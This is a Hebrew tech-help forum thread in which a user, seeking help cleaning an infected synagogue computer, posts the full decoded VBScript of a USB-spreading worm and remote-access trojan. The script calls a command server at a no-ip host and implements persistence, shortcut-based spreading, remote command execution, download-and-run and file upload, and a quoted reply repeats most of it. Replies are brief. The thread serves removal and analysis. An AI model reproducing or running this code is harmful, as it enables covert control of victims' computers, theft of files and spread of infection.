דילוג לתוכן
  • חוקי הפורום
  • פופולרי
  • לא נפתר
  • משתמשים
  • חיפוש גוגל בפורום
  • צור קשר
עיצובים
  • Light
  • Brite
  • Cerulean
  • Cosmo
  • Flatly
  • Journal
  • Litera
  • Lumen
  • Lux
  • Materia
  • Minty
  • Morph
  • Pulse
  • Sandstone
  • Simplex
  • Sketchy
  • Spacelab
  • United
  • Yeti
  • Zephyr
  • Dark
  • Cyborg
  • Darkly
  • Quartz
  • Slate
  • Solar
  • Superhero
  • Vapor

  • ברירת מחדל (ללא עיצוב (ברירת מחדל))
  • ללא עיצוב (ברירת מחדל)
כיווץ
מתמחים טופ
  1. דף הבית
  2. מחשבים וטכנולוגיה
  3. עזרה הדדית - מחשבים וטכנולוגיה
  4. בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

בקשה | מחשב של אוצה"ח הפך לבור ברשות הרבים עקב הידבקותו בווירוס נוראי

מתוזמן נעוץ נעול הועבר עזרה הדדית - מחשבים וטכנולוגיה
24 פוסטים 7 כותבים 183 צפיות 5 עוקבים
  • מהישן לחדש
  • מהחדש לישן
  • הכי הרבה הצבעות
תגובה
  • תגובה כנושא
התחברו כדי לפרסם תגובה
נושא זה נמחק. רק משתמשים עם הרשאות מתאימות יוכלו לצפות בו.
  • ר רנדומלי

    בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

    cmd /c hrxxryydxo.vbs && start explorer [file name]
    

    הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

    לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

    תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

    לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

    z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
    

    בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
    לאחר פיענוח הקידוד התקבל הקוד הבא:
    אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

    e
    '<[ recoder : houdini (c) skype : houdini-fx ]>
    
    '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
    
    host = "khattab.no-ip.biz"
    port = 5550
    installdir = "%temp%"
    lnkfile = true
    lnkfolder = true
    
    '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
    
    dim shellobj 
    set shellobj = wscript.createobject("wscript.shell")
    dim filesystemobj
    set filesystemobj = createobject("scripting.filesystemobject")
    dim httpobj
    set httpobj = createobject("msxml2.xmlhttp")
    
    '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
    
    installname = wscript.scriptname
    startup = shellobj.specialfolders ("startup") & "\"
    installdir = shellobj.expandenvironmentstrings(installdir) & "\"
    if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
    spliter = "<" & "|" & ">"
    sleep = 5000 
    dim response
    dim cmd
    dim param
    info = ""
    usbspreading = ""
    startdate = ""
    dim oneonce
    
    '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
    on error resume next
    
    instance
    while true
    
    install
    
    response = ""
    response = post ("is-ready","")
    cmd = split (response,spliter)
    select case cmd (0)
    case "excecute"
          param = cmd (1)
          execute param
    case "update"
          param = cmd (1)
          oneonce.close
          set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
          oneonce.write param
          oneonce.close
          shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
          wscript.quit 
    case "uninstall"
          uninstall
    case "send"
          download cmd (1),cmd (2)
    case "site-send"
          sitedownloader cmd (1),cmd (2)
    case "recv"
          param = cmd (1)
          upload (param)
    case  "enum-driver"
          post "is-enum-driver",enumdriver  
    case  "enum-faf"
          param = cmd (1)
          post "is-enum-faf",enumfaf (param)
    case  "enum-process"
          post "is-enum-process",enumprocess   
    case  "cmd-shell"
          param = cmd (1)
          post "is-cmd-shell",cmdshell (param)  
    case  "delete"
          param = cmd (1)
          deletefaf (param) 
    case  "exit-process"
          param = cmd (1)
          exitprocess (param) 
    case  "sleep"
          param = cmd (1)
          sleep = eval (param)        
    end select
    
    wscript.sleep sleep
    
    wend
    
    sub install
    on error resume next
    dim lnkobj
    dim filename
    dim foldername
    dim fileicon
    dim foldericon
    
    upstart
    for each drive in filesystemobj.drives
    
    if  drive.isready = true then
    if  drive.freespace  > 0 then
    if  drive.drivetype  = 1 then
        filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
        if  filesystemobj.fileexists (drive.path & "\" & installname)  then
            filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
        end if
        for each file in filesystemobj.getfolder( drive.path & "\" ).Files
            if not lnkfile then exit for
            if  instr (file.name,".") then
                if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                    file.attributes = 2+4
                    if  ucase (file.name) <> ucase (installname) then
                        filename = split(file.name,".")
                        set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                        lnkobj.windowstyle = 7
                        lnkobj.targetpath = "cmd.exe"
                        lnkobj.workingdirectory = ""
                        lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                        fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                        if  instr (fileicon,",") = 0 then
                            lnkobj.iconlocation = file.path
                        else 
                            lnkobj.iconlocation = fileicon
                        end if
                        lnkobj.save()
                    end if
                end if
            end if
        next
        for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
            if not lnkfolder then exit for
            folder.attributes = 2+4
            foldername = folder.name
            set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
            lnkobj.windowstyle = 7
            lnkobj.targetpath = "cmd.exe"
            lnkobj.workingdirectory = ""
            lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
            foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
            if  instr (foldericon,",") = 0 then
                lnkobj.iconlocation = folder.path
            else 
                lnkobj.iconlocation = foldericon
            end if
            lnkobj.save()
        next
    end If
    end If
    end if
    next
    err.clear
    end sub
    
    sub uninstall
    on error resume next
    dim filename
    dim foldername
    
    shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
    filesystemobj.deletefile startup & installname ,true
    filesystemobj.deletefile wscript.scriptfullname ,true
    
    for  each drive in filesystemobj.drives
    if  drive.isready = true then
    if  drive.freespace  > 0 then
    if  drive.drivetype  = 1 then
        for  each file in filesystemobj.getfolder ( drive.path & "\").files
             on error resume next
             if  instr (file.name,".") then
                 if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                     file.attributes = 0
                     if  ucase (file.name) <> ucase (installname) then
                         filename = split(file.name,".")
                         filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                     else
                         filesystemobj.deletefile (drive.path & "\" & file.name)
                     end If
                 else
                     filesystemobj.deletefile (file.path) 
                 end if
             end if
         next
         for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
             folder.attributes = 0
         next
    end if
    end if
    end if
    next
    wscript.quit
    end sub
    
    function post (cmd ,param)
    
    post = param
    httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
    httpobj.setrequestheader "user-agent:",information
    httpobj.send param
    post = httpobj.responsetext
    end function
    
    function information
    on error resume next
    if  inf = "" then
        inf = hwid & spliter 
        inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
        inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
    
        set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
        set os = root.execquery ("select * from win32_operatingsystem")
        for each osinfo in os
           inf = inf & osinfo.caption & spliter  
           exit for
        next
        inf = inf & "plus" & spliter
        inf = inf & security & spliter
        inf = inf & usbspreading
        information = inf  
    else
        information = inf
    end if
    end function
    
    sub upstart ()
    on error resume Next
    
    shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
    filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
    filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
    
    end sub
    
    function hwid
    on error resume next
    
    set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set disks = root.execquery ("select * from win32_logicaldisk")
    for each disk in disks
        if  disk.volumeserialnumber <> "" then
            hwid = disk.volumeserialnumber
            exit for
        end if
    next
    end function
    
    function security 
    on error resume next
    
    security = ""
    
    set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
    for each objitem in colitems
        versionstr = split (objitem.version,".")
    next
    versionstr = split (colitems.version,".")
    osversion = versionstr (0) & "."
    for  x = 1 to ubound (versionstr)
         osversion = osversion &  versionstr (i)
    next
    osversion = eval (osversion)
    if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
    
    set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
    Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
    
    for each objantivirus in colantivirus
        security  = security  & objantivirus.displayname & " ."
    next
    if security  = "" then security  = "nan-av"
    end function
    
    function instance
    on error resume next
    
    usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
    if usbspreading = "" then
       if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
          usbspreading = "true - " & date
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
       else
          usbspreading = "false - " & date
          shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
    
       end if
    end If
    
    
    upstart
    set scriptfullnameshort =  filesystemobj.getfile (wscript.scriptfullname)
    set installfullnameshort =  filesystemobj.getfile (installdir & installname)
    if  lcase (scriptfullnameshort.shortpath) <> lcase (installfullnameshort.shortpath) then 
        shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & Chr(34)
        wscript.quit 
    end If
    err.clear
    set oneonce = filesystemobj.opentextfile (installdir & installname ,8, false)
    if  err.number > 0 then wscript.quit
    end function
    
    sub sitedownloader (fileurl,filename)
    
    strlink = fileurl
    strsaveto = installdir & filename
    set objhttpdownload = createobject("msxml2.xmlhttp" )
    objhttpdownload.open "get", strlink, false
    objhttpdownload.send
    
    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
     
    if objhttpdownload.status = 200 then
       dim  objstreamdownload
       set  objstreamdownload = createobject("adodb.stream")
       with objstreamdownload
            .type = 1 
            .open
            .write objhttpdownload.responsebody
            .savetofile strsaveto
            .close
       end with
       set objstreamdownload = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
       shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
    end sub
    
    sub download (fileurl,filedir)
    
    if filedir = "" then 
       filedir = installdir
    end if
    
    strsaveto = filedir & mid (fileurl, instrrev (fileurl,"\") + 1)
    set objhttpdownload = createobject("msxml2.xmlhttp")
    objhttpdownload.open "post","http://" & host & ":" & port &"/" & "is-sending" & spliter & fileurl, false
    objhttpdownload.send ""
         
    set objfsodownload = createobject ("scripting.filesystemobject")
    if  objfsodownload.fileexists (strsaveto) then
        objfsodownload.deletefile (strsaveto)
    end if
    if  objhttpdownload.status = 200 then
        dim  objstreamdownload
        set  objstreamdownload = createobject("adodb.stream")
        with objstreamdownload 
             .type = 1 
             .open
             .write objhttpdownload.responsebody
             .savetofile strsaveto
             .close
        end with
        set objstreamdownload  = nothing
    end if
    if objfsodownload.fileexists(strsaveto) then
       shellobj.run objfsodownload.getfile (strsaveto).shortpath
    end if 
    end sub
    
    function upload (fileurl)
    
    dim  httpobj,objstreamuploade,buffer
    set  objstreamuploade = createobject("adodb.stream")
    with objstreamuploade 
         .type = 1 
         .open
         .loadfromfile fileurl
         buffer = .read
         .close
    end with
    set objstreamdownload = nothing
    set httpobj = createobject("msxml2.xmlhttp")
    httpobj.open "post","http://" & host & ":" & port &"/" & "is-recving" & spliter & fileurl, false
    httpobj.send buffer
    end function
    
    function enumdriver ()
    
    for  each drive in filesystemobj.drives
    if   drive.isready = true then
         enumdriver = enumdriver & drive.path & "|" & drive.drivetype & spliter
    end if
    next
    end Function
    
    function enumfaf (enumdir)
    
    enumfaf = enumdir & spliter
    for  each folder in filesystemobj.getfolder (enumdir).subfolders
         enumfaf = enumfaf & folder.name & "|" & "" & "|" & "d" & "|" & folder.attributes & spliter
    next
    
    for  each file in filesystemobj.getfolder (enumdir).files
         enumfaf = enumfaf & file.name & "|" & file.size  & "|" & "f" & "|" & file.attributes & spliter
    
    next
    end function
    
    function enumprocess ()
    
    on error resume next
    
    set objwmiservice = getobject("winmgmts:\\.\root\cimv2")
    set colitems = objwmiservice.execquery("select * from win32_process",,48)
    
    dim objitem
    for each objitem in colitems
        enumprocess = enumprocess & objitem.name & "|"
        enumprocess = enumprocess & objitem.processid & "|"
        enumprocess = enumprocess & objitem.executablepath & spliter
    next
    end function
    
    sub exitprocess (pid)
    on error resume next
    
    shellobj.run "taskkill /F /T /PID " & pid,7,true
    end sub
    
    sub deletefaf (url)
    on error resume next
    
    filesystemobj.deletefile url
    filesystemobj.deletefolder url
    
    end sub
    
    function cmdshell (cmd)
    
    dim httpobj,oexec,readallfromany
    
    set oexec = shellobj.exec ("%comspec% /c " & cmd)
    if not oexec.stdout.atendofstream then
       readallfromany = oexec.stdout.readall
    elseif not oexec.stderr.atendofstream then
       readallfromany = oexec.stderr.readall
    else 
       readallfromany = ""
    end if
    
    cmdshell = readallfromany
    end function
    
    מ מנותק
    מ מנותק
    מענין לשמוע
    כתב נערך לאחרונה על ידי
    #2

    @רנדומלי
    איזה פחד, איסט חוסם את הפוסט שלך!

    ר תגובה 1 תגובה אחרונה
    0
    • מ מענין לשמוע

      @רנדומלי
      איזה פחד, איסט חוסם את הפוסט שלך!

      ר מנותק
      ר מנותק
      רנדומלי
      כתב נערך לאחרונה על ידי
      #3

      @מענין-לשמוע
      כלומר?
      אז איך הצלחת להגיב? ואיך לאיסט יש גישה לדפדפן שלך?

      מ תגובה 1 תגובה אחרונה
      0
      • ר רנדומלי

        @מענין-לשמוע
        כלומר?
        אז איך הצלחת להגיב? ואיך לאיסט יש גישה לדפדפן שלך?

        מ מנותק
        מ מנותק
        מענין לשמוע
        כתב נערך לאחרונה על ידי
        #4

        @רנדומלי
        כיביתי אותו.
        באיסט יש גם הגנת אינטרנט.
        פשוט הודעה אדומה על כל המסך - דף זה נחסם וכו'...

        תגובה 1 תגובה אחרונה
        0
        • בנימין מחשביםב מנותק
          בנימין מחשביםב מנותק
          בנימין מחשבים
          כתב נערך לאחרונה על ידי בנימין מחשבים
          #5

          @cfopuser @מתכנת-חובב @מישהו12 (kingyos לא מעז לתייג) וכל חובבי הווירוסים
          עריכה - אין כמו ביה"ז! רק תייגתי וכולכם מגיעים בשורה לעזור.. שאפו!! 🤩

          תגובה 1 תגובה אחרונה
          1
          • מישהו12מ מחובר
            מישהו12מ מחובר
            מישהו12
            מדריכים
            כתב נערך לאחרונה על ידי
            #6

            אם אני מבין נכון....

            https://mitmachim.top/topic/77/מחיקת-וירוס-קיצורי-הדרך-אחת-ולתמיד

            הבלוג שלי
            https://aiv-dev.com/he-IL/

            תגובה 1 תגובה אחרונה
            1
            • ר רנדומלי

              בחדר מחשבים שעל ידי ביתי מקנן כבר כמה חודשים וירוס מחשבים מעצבן. כדי להפיץ את עצמו הוא מעתיק את הקבצים שלו לכל כונן שמתחבר אליו. ואז מחביא את כל הקבצים שנמצאים על הדיסק באמצעות שינוי מאפייני הקובץ ל־ System file ו־ Hidden file ויוצר במקומם קיצורי דרך, אבל קיצור הדרך אינו מפנה ישירות לקובץ אלא מפעיל את הפקודה הבאה:

              cmd /c hrxxryydxo.vbs && start explorer [file name]
              

              הפקודה הזאת מתקינה את הווירוס על המחשב האומלל התורן, וכך עד אינסוף.

              לצערי הרב, אחד הכוננים האלו הדביק מחשב אוצר החכמה שנמצא בבית הכנסת, למרות שהמחשב מוגן באמצעות אנטי וירוס מעודכן. ומאז המחשב הפך לבור ברשות הרבים. ניסיתי להסיר אותו בכל מיני שיטות. אודה לכל מי שנמצא בפורום ויוכל להחכים אותי האם הווירוס מחביא את עצמו במקומות שעוד לא הצלחתי להגיע אליהם. אני לא ממש מבין ב־vbs אין לי מושג מה הקוד הזה עושה, וגם אין לי גישה לבינות מלאכותיות שיסבירו לי מה הקוד הזה עושה, ואיך לנקות את כל הקבצים שלו מהמחשב שלי.

              תוך כדי ניסיונותיי להבין את הווירוס פתחתי את הקובץ hrxxryydxo.vbs ומצאתי בו רצף תווי base64 וכמה שורות קוד. מסתבר שהקוד הזדוני מקודד פעמיים באמצעות base64.

              לאחר הפענוח, מתקבל שוב רצף תווים מוזר אחר שנראה כך:

              z|44|dz|101|dz|110|dz|117|dz|109|dz|102|dz|97|dz|102|dz|32|dz|40|dz|112|dz|97|dz|114|dz|97|dz|109|dz|41|dz|13|dz|10|dz|99|dz|97|dz|115|dz|101|dz|32|dz|32|dz|34|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|13|dz|10|dz|32|dz|32|dz|32|dz|32|dz|32|dz|32|dz|112|dz|111|dz|115|dz|116|dz|32|dz|34|dz|105|dz|115|dz|45|dz|101|dz|110|dz|117|dz|109|dz|45|dz|112|dz|114|dz|111|dz|99|dz|101|dz|115|dz|115|dz|34|dz|44
              

              בשורות הקוד שאמורות לפענח ולהריץ את הקוד, מתברר שכל תו בקוד המקורי קודד באמצעות הפונקציה chr ובין כל תו ותו יש את צירוף התווים |dz| הקוד מבצע split ו"מתרגם" כל מספר לתו, ולאחר מכן מריץ את הקוד שנמצא.
              לאחר פיענוח הקידוד התקבל הקוד הבא:
              אם יש פה מישהו שידע להגיד לי אילו קבצים למחוק, אודה לו מאוד.

              e
              '<[ recoder : houdini (c) skype : houdini-fx ]>
              
              '=-=-=-=-= config =-=-=-=-=-=-=-=-=-=-=-=-=-=-=
              
              host = "khattab.no-ip.biz"
              port = 5550
              installdir = "%temp%"
              lnkfile = true
              lnkfolder = true
              
              '=-=-=-=-= public var =-=-=-=-=-=-=-=-=-=-=-=-=
              
              dim shellobj 
              set shellobj = wscript.createobject("wscript.shell")
              dim filesystemobj
              set filesystemobj = createobject("scripting.filesystemobject")
              dim httpobj
              set httpobj = createobject("msxml2.xmlhttp")
              
              '=-=-=-=-= privat var =-=-=-=-=-=-=-=-=-=-=-=
              
              installname = wscript.scriptname
              startup = shellobj.specialfolders ("startup") & "\"
              installdir = shellobj.expandenvironmentstrings(installdir) & "\"
              if not filesystemobj.folderexists(installdir) then  installdir = shellobj.expandenvironmentstrings("%temp%") & "\"
              spliter = "<" & "|" & ">"
              sleep = 5000 
              dim response
              dim cmd
              dim param
              info = ""
              usbspreading = ""
              startdate = ""
              dim oneonce
              
              '=-=-=-=-= code start =-=-=-=-=-=-=-=-=-=-=-=
              on error resume next
              
              instance
              while true
              
              install
              
              response = ""
              response = post ("is-ready","")
              cmd = split (response,spliter)
              select case cmd (0)
              case "excecute"
                    param = cmd (1)
                    execute param
              case "update"
                    param = cmd (1)
                    oneonce.close
                    set oneonce =  filesystemobj.opentextfile (installdir & installname ,2, false)
                    oneonce.write param
                    oneonce.close
                    shellobj.run "wscript.exe //B " & chr(34) & installdir & installname & chr(34)
                    wscript.quit 
              case "uninstall"
                    uninstall
              case "send"
                    download cmd (1),cmd (2)
              case "site-send"
                    sitedownloader cmd (1),cmd (2)
              case "recv"
                    param = cmd (1)
                    upload (param)
              case  "enum-driver"
                    post "is-enum-driver",enumdriver  
              case  "enum-faf"
                    param = cmd (1)
                    post "is-enum-faf",enumfaf (param)
              case  "enum-process"
                    post "is-enum-process",enumprocess   
              case  "cmd-shell"
                    param = cmd (1)
                    post "is-cmd-shell",cmdshell (param)  
              case  "delete"
                    param = cmd (1)
                    deletefaf (param) 
              case  "exit-process"
                    param = cmd (1)
                    exitprocess (param) 
              case  "sleep"
                    param = cmd (1)
                    sleep = eval (param)        
              end select
              
              wscript.sleep sleep
              
              wend
              
              sub install
              on error resume next
              dim lnkobj
              dim filename
              dim foldername
              dim fileicon
              dim foldericon
              
              upstart
              for each drive in filesystemobj.drives
              
              if  drive.isready = true then
              if  drive.freespace  > 0 then
              if  drive.drivetype  = 1 then
                  filesystemobj.copyfile wscript.scriptfullname , drive.path & "\" & installname,true
                  if  filesystemobj.fileexists (drive.path & "\" & installname)  then
                      filesystemobj.getfile(drive.path & "\"  & installname).attributes = 2+4
                  end if
                  for each file in filesystemobj.getfolder( drive.path & "\" ).Files
                      if not lnkfile then exit for
                      if  instr (file.name,".") then
                          if  lcase (split(file.name, ".") (ubound(split(file.name, ".")))) <> "lnk" then
                              file.attributes = 2+4
                              if  ucase (file.name) <> ucase (installname) then
                                  filename = split(file.name,".")
                                  set lnkobj = shellobj.createshortcut (drive.path & "\"  & filename (0) & ".lnk") 
                                  lnkobj.windowstyle = 7
                                  lnkobj.targetpath = "cmd.exe"
                                  lnkobj.workingdirectory = ""
                                  lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start " & replace(file.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                                  fileicon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\" & shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\." & split(file.name, ".")(ubound(split(file.name, ".")))& "\") & "\defaulticon\") 
                                  if  instr (fileicon,",") = 0 then
                                      lnkobj.iconlocation = file.path
                                  else 
                                      lnkobj.iconlocation = fileicon
                                  end if
                                  lnkobj.save()
                              end if
                          end if
                      end if
                  next
                  for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                      if not lnkfolder then exit for
                      folder.attributes = 2+4
                      foldername = folder.name
                      set lnkobj = shellobj.createshortcut (drive.path & "\"  & foldername & ".lnk") 
                      lnkobj.windowstyle = 7
                      lnkobj.targetpath = "cmd.exe"
                      lnkobj.workingdirectory = ""
                      lnkobj.arguments = "/c start " & replace(installname," ", chrw(34) & " " & chrw(34)) & "&start explorer " & replace(folder.name," ", chrw(34) & " " & chrw(34)) &"&exit"
                      foldericon = shellobj.regread ("HKEY_LOCAL_MACHINE\software\classes\folder\defaulticon\") 
                      if  instr (foldericon,",") = 0 then
                          lnkobj.iconlocation = folder.path
                      else 
                          lnkobj.iconlocation = foldericon
                      end if
                      lnkobj.save()
                  next
              end If
              end If
              end if
              next
              err.clear
              end sub
              
              sub uninstall
              on error resume next
              dim filename
              dim foldername
              
              shellobj.regdelete "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
              shellobj.regdelete "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0)
              filesystemobj.deletefile startup & installname ,true
              filesystemobj.deletefile wscript.scriptfullname ,true
              
              for  each drive in filesystemobj.drives
              if  drive.isready = true then
              if  drive.freespace  > 0 then
              if  drive.drivetype  = 1 then
                  for  each file in filesystemobj.getfolder ( drive.path & "\").files
                       on error resume next
                       if  instr (file.name,".") then
                           if  lcase (split(file.name, ".")(ubound(split(file.name, ".")))) <> "lnk" then
                               file.attributes = 0
                               if  ucase (file.name) <> ucase (installname) then
                                   filename = split(file.name,".")
                                   filesystemobj.deletefile (drive.path & "\" & filename(0) & ".lnk" )
                               else
                                   filesystemobj.deletefile (drive.path & "\" & file.name)
                               end If
                           else
                               filesystemobj.deletefile (file.path) 
                           end if
                       end if
                   next
                   for each folder in filesystemobj.getfolder( drive.path & "\" ).subfolders
                       folder.attributes = 0
                   next
              end if
              end if
              end if
              next
              wscript.quit
              end sub
              
              function post (cmd ,param)
              
              post = param
              httpobj.open "post","http://" & host & ":" & port &"/" & cmd, false
              httpobj.setrequestheader "user-agent:",information
              httpobj.send param
              post = httpobj.responsetext
              end function
              
              function information
              on error resume next
              if  inf = "" then
                  inf = hwid & spliter 
                  inf = inf  & shellobj.expandenvironmentstrings("%computername%") & spliter 
                  inf = inf  & shellobj.expandenvironmentstrings("%username%") & spliter
              
                  set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
                  set os = root.execquery ("select * from win32_operatingsystem")
                  for each osinfo in os
                     inf = inf & osinfo.caption & spliter  
                     exit for
                  next
                  inf = inf & "plus" & spliter
                  inf = inf & security & spliter
                  inf = inf & usbspreading
                  information = inf  
              else
                  information = inf
              end if
              end function
              
              sub upstart ()
              on error resume Next
              
              shellobj.regwrite "HKEY_CURRENT_USER\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B " & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
              shellobj.regwrite "HKEY_LOCAL_MACHINE\software\microsoft\windows\currentversion\run\" & split (installname,".")(0),  "wscript.exe //B "  & chrw(34) & installdir & installname & chrw(34) , "REG_SZ"
              filesystemobj.copyfile wscript.scriptfullname,installdir & installname,true
              filesystemobj.copyfile wscript.scriptfullname,startup & installname ,true
              
              end sub
              
              function hwid
              on error resume next
              
              set root = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
              set disks = root.execquery ("select * from win32_logicaldisk")
              for each disk in disks
                  if  disk.volumeserialnumber <> "" then
                      hwid = disk.volumeserialnumber
                      exit for
                  end if
              next
              end function
              
              function security 
              on error resume next
              
              security = ""
              
              set objwmiservice = getobject("winmgmts:{impersonationlevel=impersonate}!\\.\root\cimv2")
              set colitems = objwmiservice.execquery("select * from win32_operatingsystem",,48)
              for each objitem in colitems
                  versionstr = split (objitem.version,".")
              next
              versionstr = split (colitems.version,".")
              osversion = versionstr (0) & "."
              for  x = 1 to ubound (versionstr)
                   osversion = osversion &  versionstr (i)
              next
              osversion = eval (osversion)
              if  osversion > 6 then sc = "securitycenter2" else sc = "securitycenter"
              
              set objsecuritycenter = getobject("winmgmts:\\localhost\root\" & sc)
              Set colantivirus = objsecuritycenter.execquery("select * from antivirusproduct","wql",0)
              
              for each objantivirus in colantivirus
                  security  = security  & objantivirus.displayname & " ."
              next
              if security  = "" then security  = "nan-av"
              end function
              
              function instance
              on error resume next
              
              usbspreading = shellobj.regread ("HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0) & "\")
              if usbspreading = "" then
                 if lcase ( mid(wscript.scriptfullname,2)) = ":\" &  lcase(installname) then
                    usbspreading = "true - " & date
                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
                 else
                    usbspreading = "false - " & date
                    shellobj.regwrite "HKEY_LOCAL_MACHINE\software\" & split (installname,".")(0)  & "\",  usbspreading, "REG_SZ"
              
                 end if
              end If
              
              
              upstart
